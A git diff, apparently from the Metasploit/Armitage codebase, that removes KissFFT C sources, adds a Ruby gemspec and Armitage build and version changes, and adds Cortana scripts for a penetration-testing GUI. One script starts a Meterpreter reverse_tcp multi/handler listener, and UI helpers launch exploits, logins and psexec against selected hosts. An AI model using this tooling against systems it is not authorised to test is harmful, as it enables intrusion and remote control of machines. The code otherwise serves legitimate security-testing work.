C_SUB(*Fout3,scratch[11],scratch[12]);
|
||||
|
||||
++Fout0;++Fout1;++Fout2;++Fout3;++Fout4;
|
||||
}
|
||||
}
|
||||
|
||||
/* perform the butterfly for one stage of a mixed radix FFT */
|
||||
static void kf_bfly_generic(
|
||||
kiss_fft_cpx * Fout,
|
||||
const size_t fstride,
|
||||
const kiss_fft_cfg st,
|
||||
int m,
|
||||
int p
|
||||
)
|
||||
{
|
||||
int u,k,q1,q;
|
||||
kiss_fft_cpx * twiddles = st->twiddles;
|
||||
kiss_fft_cpx t;
|
||||
int Norig = st->nfft;
|
||||
|
||||
CHECKBUF(scratchbuf,nscratchbuf,p);
|
||||
|
||||
for ( u=0; u<m; ++u ) {
|
||||
k=u;
|
||||
for ( q1=0 ; q1<p ; ++q1 ) {
|
||||
scratchbuf[q1] = Fout[ k ];
|
||||
C_FIXDIV(scratchbuf[q1],p);
|
||||
k += m;
|
||||
}
|
||||
|
||||
k=u;
|
||||
for ( q1=0 ; q1<p ; ++q1 ) {
|
||||
int twidx=0;
|
||||
Fout[ k ] = scratchbuf[0];
|
||||
for (q=1;q<p;++q ) {
|
||||
twidx += fstride * k;
|
||||
if (twidx>=Norig) twidx-=Norig;
|
||||
C_MUL(t,scratchbuf[q] , twiddles[twidx] );
|
||||
C_ADDTO( Fout[ k ] ,t);
|
||||
}
|
||||
k += m;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static
|
||||
void kf_work(
|
||||
kiss_fft_cpx * Fout,
|
||||
const kiss_fft_cpx * f,
|
||||
const size_t fstride,
|
||||
int in_stride,
|
||||
int * factors,
|
||||
const kiss_fft_cfg st
|
||||
)
|
||||
{
|
||||
kiss_fft_cpx * Fout_beg=Fout;
|
||||
const int p=*factors++; /* the radix */
|
||||
const int m=*factors++; /* stage's fft length/p */
|
||||
const kiss_fft_cpx * Fout_end = Fout + p*m;
|
||||
|
||||
#ifdef _OPENMP
|
||||
// use openmp extensions at the
|
||||
// top-level (not recursive)
|
||||
if (fstride==1) {
|
||||
int k;
|
||||
|
||||
// execute the p different work units in different threads
|
||||
# pragma omp parallel for
|
||||
for (k=0;k<p;++k)
|
||||
kf_work( Fout +k*m, f+ fstride*in_stride*k,fstride*p,in_stride,factors,st);
|
||||
// all threads have joined by this point
|
||||
|
||||
switch (p) {
|
||||
case 2: kf_bfly2(Fout,fstride,st,m); break;
|
||||
case 3: kf_bfly3(Fout,fstride,st,m); break;
|
||||
case 4: kf_bfly4(Fout,fstride,st,m); break;
|
||||
case 5: kf_bfly5(Fout,fstride,st,m); break;
|
||||
default: kf_bfly_generic(Fout,fstride,st,m,p); break;
|
||||
}
|
||||
return;
|
||||
}
|
||||
#endif
|
||||
|
||||
if (m==1) {
|
||||
do{
|
||||
*Fout = *f;
|
||||
f += fstride*in_stride;
|
||||
}while(++Fout != Fout_end );
|
||||
}else{
|
||||
do{
|
||||
// recursive call:
|
||||
// DFT of size m*p performed by doing
|
||||
// p instances of smaller DFTs of size m,
|
||||
// each one takes a decimated version of the input
|
||||
kf_work( Fout , f, fstride*p, in_stride, factors,st);
|
||||
f += fstride*in_stride;
|
||||
}while( (Fout += m) != Fout_end );
|
||||
}
|
||||
|
||||
Fout=Fout_beg;
|
||||
|
||||
// recombine the p smaller DFTs
|
||||
switch (p) {
|
||||
case 2: kf_bfly2(Fout,fstride,st,m); break;
|
||||
case 3: kf_bfly3(Fout,fstride,st,m); break;
|
||||
case 4: kf_bfly4(Fout,fstride,st,m); break;
|
||||
case 5: kf_bfly5(Fout,fstride,st,m); break;
|
||||
default: kf_bfly_generic(Fout,fstride,st,m,p); break;
|
||||
}
|
||||
}
|
||||
|
||||
/* facbuf is populated by p1,m1,p2,m2, ...
|
||||
where
|
||||
p[i] * m[i] = m[i-1]
|
||||
m0 = n */
|
||||
static
|
||||
void kf_factor(int n,int * facbuf)
|
||||
{
|
||||
int p=4;
|
||||
double floor_sqrt;
|
||||
floor_sqrt = floor( sqrt((double)n) );
|
||||
|
||||
/*factor out powers of 4, powers of 2, then any remaining primes */
|
||||
do {
|
||||
while (n % p) {
|
||||
switch (p) {
|
||||
case 4: p = 2; break;
|
||||
case 2: p = 3; break;
|
||||
default: p += 2; break;
|
||||
}
|
||||
if (p > floor_sqrt)
|
||||
p = n; /* no more factors, skip to end */
|
||||
}
|
||||
n /= p;
|
||||
*facbuf++ = p;
|
||||
*facbuf++ = n;
|
||||
} while (n > 1);
|
||||
}
|
||||
|
||||
/*
|
||||
*
|
||||
* User-callable function to allocate all necessary storage space for the fft.
|
||||
*
|
||||
* The return value is a contiguous block of memory, allocated with malloc. As such,
|
||||
* It can be freed with free(), rather than a kiss_fft-specific function.
|
||||
* */
|
||||
kiss_fft_cfg kiss_fft_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem )
|
||||
{
|
||||
kiss_fft_cfg st=NULL;
|
||||
size_t memneeded = sizeof(struct kiss_fft_state)
|
||||
+ sizeof(kiss_fft_cpx)*(nfft-1); /* twiddle factors*/
|
||||
|
||||
if ( lenmem==NULL ) {
|
||||
st = ( kiss_fft_cfg)KISS_FFT_MALLOC( memneeded );
|
||||
}else{
|
||||
if (mem != NULL && *lenmem >= memneeded)
|
||||
st = (kiss_fft_cfg)mem;
|
||||
*lenmem = memneeded;
|
||||
}
|
||||
if (st) {
|
||||
int i;
|
||||
st->nfft=nfft;
|
||||
st->inverse = inverse_fft;
|
||||
|
||||
for (i=0;i<nfft;++i) {
|
||||
const double pi=3.141592653589793238462643383279502884197169399375105820974944;
|
||||
double phase = -2*pi*i / nfft;
|
||||
if (st->inverse)
|
||||
phase *= -1;
|
||||
kf_cexp(st->twiddles+i, phase );
|
||||
}
|
||||
|
||||
kf_factor(nfft,st->factors);
|
||||
}
|
||||
return st;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
void kiss_fft_stride(kiss_fft_cfg st,const kiss_fft_cpx *fin,kiss_fft_cpx *fout,int in_stride)
|
||||
{
|
||||
if (fin == fout) {
|
||||
CHECKBUF(tmpbuf,ntmpbuf,st->nfft);
|
||||
kf_work(tmpbuf,fin,1,in_stride, st->factors,st);
|
||||
memcpy(fout,tmpbuf,sizeof(kiss_fft_cpx)*st->nfft);
|
||||
}else{
|
||||
kf_work( fout, fin, 1,in_stride, st->factors,st );
|
||||
}
|
||||
}
|
||||
|
||||
void kiss_fft(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout)
|
||||
{
|
||||
kiss_fft_stride(cfg,fin,fout,1);
|
||||
}
|
||||
|
||||
|
||||
/* not really necessary to call, but if someone is doing in-place ffts, they may want to free the
|
||||
buffers from CHECKBUF
|
||||
*/
|
||||
void kiss_fft_cleanup(void)
|
||||
{
|
||||
free(scratchbuf);
|
||||
scratchbuf = NULL;
|
||||
nscratchbuf=0;
|
||||
free(tmpbuf);
|
||||
tmpbuf=NULL;
|
||||
ntmpbuf=0;
|
||||
}
|
||||
|
||||
int kiss_fft_next_fast_size(int n)
|
||||
{
|
||||
while(1) {
|
||||
int m=n;
|
||||
while ( (m%2) == 0 ) m/=2;
|
||||
while ( (m%3) == 0 ) m/=3;
|
||||
while ( (m%5) == 0 ) m/=5;
|
||||
if (m<=1)
|
||||
break; /* n is completely factorable by twos, threes, and fives */
|
||||
n++;
|
||||
}
|
||||
return n;
|
||||
}
|
|
@ -1,123 +0,0 @@
|
|||
#ifndef KISS_FFT_H
|
||||
#define KISS_FFT_H
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <math.h>
|
||||
#include <string.h>
|
||||
#include <malloc.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/*
|
||||
ATTENTION!
|
||||
If you would like a :
|
||||
-- a utility that will handle the caching of fft objects
|
||||
-- real-only (no imaginary time component ) FFT
|
||||
-- a multi-dimensional FFT
|
||||
-- a command-line utility to perform ffts
|
||||
-- a command-line utility to perform fast-convolution filtering
|
||||
|
||||
Then see kfc.h kiss_fftr.h kiss_fftnd.h fftutil.c kiss_fastfir.c
|
||||
in the tools/ directory.
|
||||
*/
|
||||
|
||||
#ifdef USE_SIMD
|
||||
# include <xmmintrin.h>
|
||||
# define kiss_fft_scalar __m128
|
||||
#define KISS_FFT_MALLOC(nbytes) memalign(16,nbytes)
|
||||
#else
|
||||
#define KISS_FFT_MALLOC malloc
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef FIXED_POINT
|
||||
#include <sys/types.h>
|
||||
# if (FIXED_POINT == 32)
|
||||
# define kiss_fft_scalar int32_t
|
||||
# else
|
||||
# define kiss_fft_scalar int16_t
|
||||
# endif
|
||||
#else
|
||||
# ifndef kiss_fft_scalar
|
||||
/* default is float */
|
||||
# define kiss_fft_scalar float
|
||||
# endif
|
||||
#endif
|
||||
|
||||
typedef struct {
|
||||
kiss_fft_scalar r;
|
||||
kiss_fft_scalar i;
|
||||
}kiss_fft_cpx;
|
||||
|
||||
typedef struct kiss_fft_state* kiss_fft_cfg;
|
||||
|
||||
/*
|
||||
* kiss_fft_alloc
|
||||
*
|
||||
* Initialize a FFT (or IFFT) algorithm's cfg/state buffer.
|
||||
*
|
||||
* typical usage: kiss_fft_cfg mycfg=kiss_fft_alloc(1024,0,NULL,NULL);
|
||||
*
|
||||
* The return value from fft_alloc is a cfg buffer used internally
|
||||
* by the fft routine or NULL.
|
||||
*
|
||||
* If lenmem is NULL, then kiss_fft_alloc will allocate a cfg buffer using malloc.
|
||||
* The returned value should be free()d when done to avoid memory leaks.
|
||||
*
|
||||
* The state can be placed in a user supplied buffer 'mem':
|
||||
* If lenmem is not NULL and mem is not NULL and *lenmem is large enough,
|
||||
* then the function places the cfg in mem and the size used in *lenmem
|
||||
* and returns mem.
|
||||
*
|
||||
* If lenmem is not NULL and ( mem is NULL or *lenmem is not large enough),
|
||||
* then the function returns NULL and places the minimum cfg
|
||||
* buffer size in *lenmem.
|
||||
* */
|
||||
|
||||
kiss_fft_cfg kiss_fft_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem);
|
||||
|
||||
/*
|
||||
* kiss_fft(cfg,in_out_buf)
|
||||
*
|
||||
* Perform an FFT on a complex input buffer.
|
||||
* for a forward FFT,
|
||||
* fin should be f[0] , f[1] , ... ,f[nfft-1]
|
||||
* fout will be F[0] , F[1] , ... ,F[nfft-1]
|
||||
* Note that each element is complex and can be accessed like
|
||||
f[k].r and f[k].i
|
||||
* */
|
||||
void kiss_fft(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout);
|
||||
|
||||
/*
|
||||
A more generic version of the above function. It reads its input from every Nth sample.
|
||||
* */
|
||||
void kiss_fft_stride(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout,int fin_stride);
|
||||
|
||||
/* If kiss_fft_alloc allocated a buffer, it is one contiguous
|
||||
buffer and can be simply free()d when no longer needed*/
|
||||
#define kiss_fft_free free
|
||||
|
||||
/*
|
||||
Cleans up some memory that gets managed internally. Not necessary to call, but it might clean up
|
||||
your compiler output to call this before you exit.
|
||||
*/
|
||||
void kiss_fft_cleanup(void);
|
||||
|
||||
|
||||
/*
|
||||
* Returns the smallest integer k, such that k>=n and k has only "fast" factors (2,3,5)
|
||||
*/
|
||||
int kiss_fft_next_fast_size(int n);
|
||||
|
||||
/* for real ffts, we need an even size */
|
||||
#define kiss_fftr_next_fast_size_real(n) \
|
||||
(kiss_fft_next_fast_size( ((n)+1)>>1)<<1)
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
|
@ -1,159 +0,0 @@
|
|||
/*
|
||||
Copyright (c) 2003-2004, Mark Borgerding
|
||||
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
* Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include "kiss_fftr.h"
|
||||
#include "_kiss_fft_guts.h"
|
||||
|
||||
struct kiss_fftr_state{
|
||||
kiss_fft_cfg substate;
|
||||
kiss_fft_cpx * tmpbuf;
|
||||
kiss_fft_cpx * super_twiddles;
|
||||
#ifdef USE_SIMD
|
||||
long pad;
|
||||
#endif
|
||||
};
|
||||
|
||||
kiss_fftr_cfg kiss_fftr_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem)
|
||||
{
|
||||
int i;
|
||||
kiss_fftr_cfg st = NULL;
|
||||
size_t subsize, memneeded;
|
||||
|
||||
if (nfft & 1) {
|
||||
fprintf(stderr,"Real FFT optimization must be even.\n");
|
||||
return NULL;
|
||||
}
|
||||
nfft >>= 1;
|
||||
|
||||
kiss_fft_alloc (nfft, inverse_fft, NULL, &subsize);
|
||||
memneeded = sizeof(struct kiss_fftr_state) + subsize + sizeof(kiss_fft_cpx) * ( nfft * 3 / 2);
|
||||
|
||||
if (lenmem == NULL) {
|
||||
st = (kiss_fftr_cfg) KISS_FFT_MALLOC (memneeded);
|
||||
} else {
|
||||
if (*lenmem >= memneeded)
|
||||
st = (kiss_fftr_cfg) mem;
|
||||
*lenmem = memneeded;
|
||||
}
|
||||
if (!st)
|
||||
return NULL;
|
||||
|
||||
st->substate = (kiss_fft_cfg) (st + 1); /*just beyond kiss_fftr_state struct */
|
||||
st->tmpbuf = (kiss_fft_cpx *) (((char *) st->substate) + subsize);
|
||||
st->super_twiddles = st->tmpbuf + nfft;
|
||||
kiss_fft_alloc(nfft, inverse_fft, st->substate, &subsize);
|
||||
|
||||
for (i = 0; i < nfft/2; ++i) {
|
||||
double phase =
|
||||
-3.14159265358979323846264338327 * ((double) (i+1) / nfft + .5);
|
||||
if (inverse_fft)
|
||||
phase *= -1;
|
||||
kf_cexp (st->super_twiddles+i,phase);
|
||||
}
|
||||
return st;
|
||||
}
|
||||
|
||||
void kiss_fftr(kiss_fftr_cfg st,const kiss_fft_scalar *timedata,kiss_fft_cpx *freqdata)
|
||||
{
|
||||
/* input buffer timedata is stored row-wise */
|
||||
int k,ncfft;
|
||||
kiss_fft_cpx fpnk,fpk,f1k,f2k,tw,tdc;
|
||||
|
||||
if ( st->substate->inverse) {
|
||||
fprintf(stderr,"kiss fft usage error: improper alloc\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
ncfft = st->substate->nfft;
|
||||
|
||||
/*perform the parallel fft of two real signals packed in real,imag*/
|
||||
kiss_fft( st->substate , (const kiss_fft_cpx*)timedata, st->tmpbuf );
|
||||
/* The real part of the DC element of the frequency spectrum in st->tmpbuf
|
||||
* contains the sum of the even-numbered elements of the input time sequence
|
||||
* The imag part is the sum of the odd-numbered elements
|
||||
*
|
||||
* The sum of tdc.r and tdc.i is the sum of the input time sequence.
|
||||
* yielding DC of input time sequence
|
||||
* The difference of tdc.r - tdc.i is the sum of the input (dot product) [1,-1,1,-1...
|
||||
* yielding Nyquist bin of input time sequence
|
||||
*/
|
||||
|
||||
tdc.r = st->tmpbuf[0].r;
|
||||
tdc.i = st->tmpbuf[0].i;
|
||||
C_FIXDIV(tdc,2);
|
||||
CHECK_OVERFLOW_OP(tdc.r ,+, tdc.i);
|
||||
CHECK_OVERFLOW_OP(tdc.r ,-, tdc.i);
|
||||
freqdata[0].r = tdc.r + tdc.i;
|
||||
freqdata[ncfft].r = tdc.r - tdc.i;
|
||||
#ifdef USE_SIMD
|
||||
freqdata[ncfft].i = freqdata[0].i = _mm_set1_ps(0);
|
||||
#else
|
||||
freqdata[ncfft].i = freqdata[0].i = 0;
|
||||
#endif
|
||||
|
||||
for ( k=1;k <= ncfft/2 ; ++k ) {
|
||||
fpk = st->tmpbuf[k];
|
||||
fpnk.r = st->tmpbuf[ncfft-k].r;
|
||||
fpnk.i = - st->tmpbuf[ncfft-k].i;
|
||||
C_FIXDIV(fpk,2);
|
||||
C_FIXDIV(fpnk,2);
|
||||
|
||||
C_ADD( f1k, fpk , fpnk );
|
||||
C_SUB( f2k, fpk , fpnk );
|
||||
C_MUL( tw , f2k , st->super_twiddles[k-1]);
|
||||
|
||||
freqdata[k].r = HALF_OF(f1k.r + tw.r);
|
||||
freqdata[k].i = HALF_OF(f1k.i + tw.i);
|
||||
freqdata[ncfft-k].r = HALF_OF(f1k.r - tw.r);
|
||||
freqdata[ncfft-k].i = HALF_OF(tw.i - f1k.i);
|
||||
}
|
||||
}
|
||||
|
||||
void kiss_fftri(kiss_fftr_cfg st,const kiss_fft_cpx *freqdata,kiss_fft_scalar *timedata)
|
||||
{
|
||||
/* input buffer timedata is stored row-wise */
|
||||
int k, ncfft;
|
||||
|
||||
if (st->substate->inverse == 0) {
|
||||
fprintf (stderr, "kiss fft usage error: improper alloc\n");
|
||||
exit (1);
|
||||
}
|
||||
|
||||
ncfft = st->substate->nfft;
|
||||
|
||||
st->tmpbuf[0].r = freqdata[0].r + freqdata[ncfft].r;
|
||||
st->tmpbuf[0].i = freqdata[0].r - freqdata[ncfft].r;
|
||||
C_FIXDIV(st->tmpbuf[0],2);
|
||||
|
||||
for (k = 1; k <= ncfft / 2; ++k) {
|
||||
kiss_fft_cpx fk, fnkc, fek, fok, tmp;
|
||||
fk = freqdata[k];
|
||||
fnkc.r = freqdata[ncfft - k].r;
|
||||
fnkc.i = -freqdata[ncfft - k].i;
|
||||
C_FIXDIV( fk , 2 );
|
||||
C_FIXDIV( fnkc , 2 );
|
||||
|
||||
C_ADD (fek, fk, fnkc);
|
||||
C_SUB (tmp, fk, fnkc);
|
||||
C_MUL (fok, tmp, st->super_twiddles[k-1]);
|
||||
C_ADD (st->tmpbuf[k], fek, fok);
|
||||
C_SUB (st->tmpbuf[ncfft - k], fek, fok);
|
||||
#ifdef USE_SIMD
|
||||
st->tmpbuf[ncfft - k].i *= _mm_set1_ps(-1.0);
|
||||
#else
|
||||
st->tmpbuf[ncfft - k].i *= -1;
|
||||
#endif
|
||||
}
|
||||
kiss_fft (st->substate, st->tmpbuf, (kiss_fft_cpx *) timedata);
|
||||
}
|
|
@ -0,0 +1,16 @@
|
|||
# -*- encoding: utf-8 -*-
|
||||
|
||||
Gem::Specification.new do |s|
|
||||
s.name = "kissfft"
|
||||
s.version = "0.0.1"
|
||||
s.authors = ["HD Moore"]
|
||||
s.email = ["hdm@rapid7.com"]
|
||||
s.homepage = ""
|
||||
s.summary = %q{Ruby wrapper around the KisFFT library for performing FFTs}
|
||||
s.description = %q{Provides access to the KissFFT library for performing fast-fourier transforms from Ruby }
|
||||
|
||||
s.files = Dir.glob('lib/**/*.rb') + Dir.glob('ext/**/*.{c,h,rb}') + [ "LICENSE" ]
|
||||
s.test_files = Dir.glob('test/**/*.{rb,data}')
|
||||
s.extensions = [ 'ext/kissfft/extconf.rb' ]
|
||||
s.require_paths = ["lib"]
|
||||
end
|
|
@ -27,12 +27,28 @@
|
|||
<unzip src="lib/jgraphx.jar" dest="bin" />
|
||||
<unzip src="lib/msgpack-0.5.1-devel.jar" dest="bin" />
|
||||
<unzip src="lib/postgresql-9.1-901.jdbc4.jar" dest="bin" />
|
||||
|
||||
<copy todir="bin/scripts">
|
||||
<fileset dir="scripts" />
|
||||
</copy>
|
||||
<copy todir="bin/scripts-cortana">
|
||||
<fileset dir="scripts-cortana" />
|
||||
</copy>
|
||||
|
||||
<copy todir="bin/resources">
|
||||
<fileset dir="resources" />
|
||||
</copy>
|
||||
|
||||
<jar destfile="armitage.jar" basedir="bin" includes="**/*">
|
||||
<manifest>
|
||||
<attribute name="Main-Class" value="armitage.ArmitageMain" />
|
||||
</manifest>
|
||||
</jar>
|
||||
|
||||
<jar destfile="cortana.jar" basedir="bin" includes="**/*">
|
||||
<manifest>
|
||||
<attribute name="Main-Class" value="cortana.Main" />
|
||||
</manifest>
|
||||
</jar>
|
||||
</target>
|
||||
|
||||
<target name="clean" description="clean up" >
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
<html>
|
||||
<body>
|
||||
<center><h1>Armitage 1.44-dev</h1></center>
|
||||
<center><h1>Armitage 1.44</h1></center>
|
||||
|
||||
<p>An attack management tool for Metasploit®
|
||||
<br />Release: 5 Jul 12</p>
|
||||
<br />Release: 16 Oct 12</p>
|
||||
<br />
|
||||
<p>Developed by:</p>
|
||||
|
||||
|
|
Binary file not shown.
After Width: | Height: | Size: 101 KiB |
Binary file not shown.
After Width: | Height: | Size: 81 KiB |
|
@ -0,0 +1,95 @@
|
|||
# This file is part of a stand-alone script environment that connects Cortana to
|
||||
# Metasploit, Armitage, and a postgresql database. It's a little complicated and
|
||||
# twisty turny in here. Here are the rough steps:
|
||||
#
|
||||
# 1. Connect to the database (&main)
|
||||
# 2. setup the default reverse handler (&setupHandlers)
|
||||
# 3. check for the collaboration server (&checkForCollaborationServer)
|
||||
# 4. setup collaboration (&setup_collaboration)
|
||||
# 5. call armitage.skip to push the event log pointer to the very end.
|
||||
# 6. send a flag back to the Cortana load that we're ready ([$loader passObject: ...])
|
||||
#
|
||||
# If any of these steps fails, Cortana will exit with a hopefully helpful error
|
||||
# message.
|
||||
|
||||
debug(7 | 34);
|
||||
|
||||
import msf.*;
|
||||
import armitage.*;
|
||||
import console.*;
|
||||
import ssl.*;
|
||||
|
||||
# create an RPC client for talking to the deconfliction server.
|
||||
sub c_client {
|
||||
# run this thing in its own thread to avoid really stupid deadlock situations
|
||||
local('$handle');
|
||||
$handle = [[new SecureSocket: $1, int($2), $null] client];
|
||||
return wait(fork({
|
||||
local('$client');
|
||||
$client = newInstance(^RpcConnection, lambda({
|
||||
writeObject($handle, @_);
|
||||
[[$handle getOutputStream] flush];
|
||||
return readObject($handle);
|
||||
}, \$handle));
|
||||
return [new RpcAsync: $client];
|
||||
}, \$handle));
|
||||
}
|
||||
|
||||
# this function sets up a default meterpreter reverse handler on a random port. Better tha
|
||||
# requiring the user to connect a client to make this happen. This function also fires the
|
||||
# loader ready function which tells the script loader that this script is done processing
|
||||
# and this Cortana container may continue loading and executing other scripts.
|
||||
sub setupHandlers {
|
||||
find_job("Exploit: multi/handler", {
|
||||
if ($1 == -1) {
|
||||
# setup a handler for meterpreter
|
||||
call($client, "core.setg", "LPORT", randomPort());
|
||||
call($client, "module.execute", "exploit", "multi/handler", %(
|
||||
PAYLOAD => "windows/meterpreter/reverse_tcp",
|
||||
LHOST => "0.0.0.0",
|
||||
ExitOnSession => "false"
|
||||
));
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
sub main {
|
||||
global('$client $mclient');
|
||||
local('%r $exception');
|
||||
|
||||
setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L);
|
||||
|
||||
try {
|
||||
# connect our first thread...
|
||||
$mclient = c_client($host, $port);
|
||||
|
||||
# connect our second thread with an empty nickname
|
||||
$client = c_client($host, $port);
|
||||
}
|
||||
catch $exception {
|
||||
println("Could not connect to $host $+ : $+ $port ( $+ $exception $+ )");
|
||||
[System exit: 0];
|
||||
}
|
||||
|
||||
# setup first thread...
|
||||
%r = call($mclient, "armitage.validate", $user, $pass, $nick, "armitage", 120326);
|
||||
if (%r["error"] eq "1") {
|
||||
println(%r['message']);
|
||||
[System exit: 0];
|
||||
}
|
||||
|
||||
# setup second thread.
|
||||
%r = call($client, "armitage.validate", $user, $pass, $null, "armitage", 120326);
|
||||
|
||||
# pass some objects back yo.
|
||||
[$loader passObjects: $client, $mclient];
|
||||
|
||||
# don't make previous messages available...
|
||||
call($mclient, "armitage.skip");
|
||||
|
||||
# do some other setup stuff...
|
||||
setupBaseDirectory();
|
||||
setupHandlers();
|
||||
}
|
||||
|
||||
invoke(&main);
|
|
@ -0,0 +1,297 @@
|
|||
#
|
||||
# UI Support Functions
|
||||
#
|
||||
|
||||
import armitage.*;
|
||||
import ui.*;
|
||||
import table.*;
|
||||
import graph.*;
|
||||
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.table.*;
|
||||
|
||||
import java.awt.datatransfer.*;
|
||||
|
||||
# ($table, $model) = _setup_table("lead", @cols, @rows, multi?)
|
||||
sub _setup_table {
|
||||
local('$table $model $sorter $row');
|
||||
$model = [new GenericTableModel: $2, $1, 8];
|
||||
foreach $row ($3) {
|
||||
[$model _addEntry: $row];
|
||||
}
|
||||
|
||||
$table = [new ATable: $model];
|
||||
|
||||
if ($4) {
|
||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel MULTIPLE_INTERVAL_SELECTION]];
|
||||
}
|
||||
else {
|
||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
||||
}
|
||||
|
||||
$sorter = [new TableRowSorter: $model];
|
||||
[$table setRowSorter: $sorter];
|
||||
|
||||
return @($table, $model);
|
||||
}
|
||||
|
||||
sub _center {
|
||||
local('$panel $c');
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
||||
|
||||
foreach $c ($1) {
|
||||
[$panel add: $c];
|
||||
}
|
||||
|
||||
return $panel;
|
||||
}
|
||||
|
||||
sub _compare_hosts {
|
||||
if ($1 eq "unknown") {
|
||||
return _compare_hosts("0.0.0.0", $2);
|
||||
}
|
||||
else if ($2 eq "unknown") {
|
||||
return _compare_hosts($1, "0.0.0.0");
|
||||
}
|
||||
else {
|
||||
return [Route ipToLong: $1] <=> [Route ipToLong: $2];
|
||||
}
|
||||
}
|
||||
|
||||
sub clipboard_set {
|
||||
local('$sel $cb');
|
||||
$sel = [new StringSelection: $1];
|
||||
$cb = [[Toolkit getDefaultToolkit] getSystemSelection];
|
||||
if ($cb !is $null) {
|
||||
[$cb setContents: $sel, $null];
|
||||
}
|
||||
|
||||
$cb = [[Toolkit getDefaultToolkit] getSystemClipboard];
|
||||
if ($cb !is $null) {
|
||||
[$cb setContents: $sel, $null];
|
||||
}
|
||||
}
|
||||
|
||||
sub prompt_file_save {
|
||||
local('$fc $1');
|
||||
$fc = [new JFileChooser];
|
||||
|
||||
if ($1 !is $null) {
|
||||
[$fc setSelectedFile: [new java.io.File: $1]];
|
||||
}
|
||||
|
||||
[$fc showSaveDialog: $armitage];
|
||||
return [$fc getSelectedFile];
|
||||
}
|
||||
|
||||
sub prompt_file_open {
|
||||
local('$fc $1 $2 $3 $4');
|
||||
$fc = [new JFileChooser];
|
||||
|
||||
if ($1 !is $null) { [$fc setDialogTitle: $1]; }
|
||||
if ($2 !is $null) { [$fc setCurrentDirectory: [new java.io.File: $2]]; }
|
||||
if ($3 !is $null) { [$fc setMultiSelectionEnabled: $3]; }
|
||||
if ($4 !is $null) { [$fc setFileSelectionMode: [JFileChooser DIRECTORIES_ONLY]]; }
|
||||
|
||||
[$fc showOpenDialog: $armitage];
|
||||
|
||||
if ($3) {
|
||||
return [$fc getSelectedFiles];
|
||||
}
|
||||
else {
|
||||
return [$fc getSelectedFile];
|
||||
}
|
||||
}
|
||||
|
||||
sub url_open {
|
||||
[[Desktop getDesktop] browse: [[new java.net.URL: $1] toURI]];
|
||||
}
|
||||
|
||||
sub show_message {
|
||||
later({
|
||||
[JOptionPane showMessageDialog: $armitage, $1];
|
||||
}, $1);
|
||||
}
|
||||
|
||||
sub prompt_text {
|
||||
local('$2');
|
||||
return [JOptionPane showInputDialog: "$1", "$2"];
|
||||
}
|
||||
|
||||
sub prompt_confirm {
|
||||
return [JOptionPane showConfirmDialog: $null, $1, $2, [JOptionPane YES_NO_OPTION]];
|
||||
}
|
||||
|
||||
sub targets_selected {
|
||||
return [[$shared get: "targets"] getSelectedHosts];
|
||||
}
|
||||
|
||||
# launch_attack("exploit", @hosts)
|
||||
sub launch_attack {
|
||||
local('$a $b');
|
||||
$a = call("module.info", "exploit", $1);
|
||||
$b = call("module.options", "exploit", $1);
|
||||
_call_async_("&attack_dialog", $a, $b, $2, $1);
|
||||
}
|
||||
|
||||
# laubch_module("title", "top-level", "path", visible?, @(), %options)
|
||||
sub launch_module {
|
||||
_call_async_("&launch_dialog", $1, $2, $3, 1, $null, $4);
|
||||
}
|
||||
|
||||
# launch_login("service", "port", @hosts)
|
||||
sub launch_login {
|
||||
_call_async_("&show_login_dialog", $service => %(port => $2, name => $1), $hosts => $3);
|
||||
}
|
||||
|
||||
sub launch_psexec {
|
||||
_call_async_("&show_psexec_dialog", $hosts => $1);
|
||||
}
|
||||
|
||||
sub run_export_data {
|
||||
local('$1');
|
||||
if ($1 is $null) {
|
||||
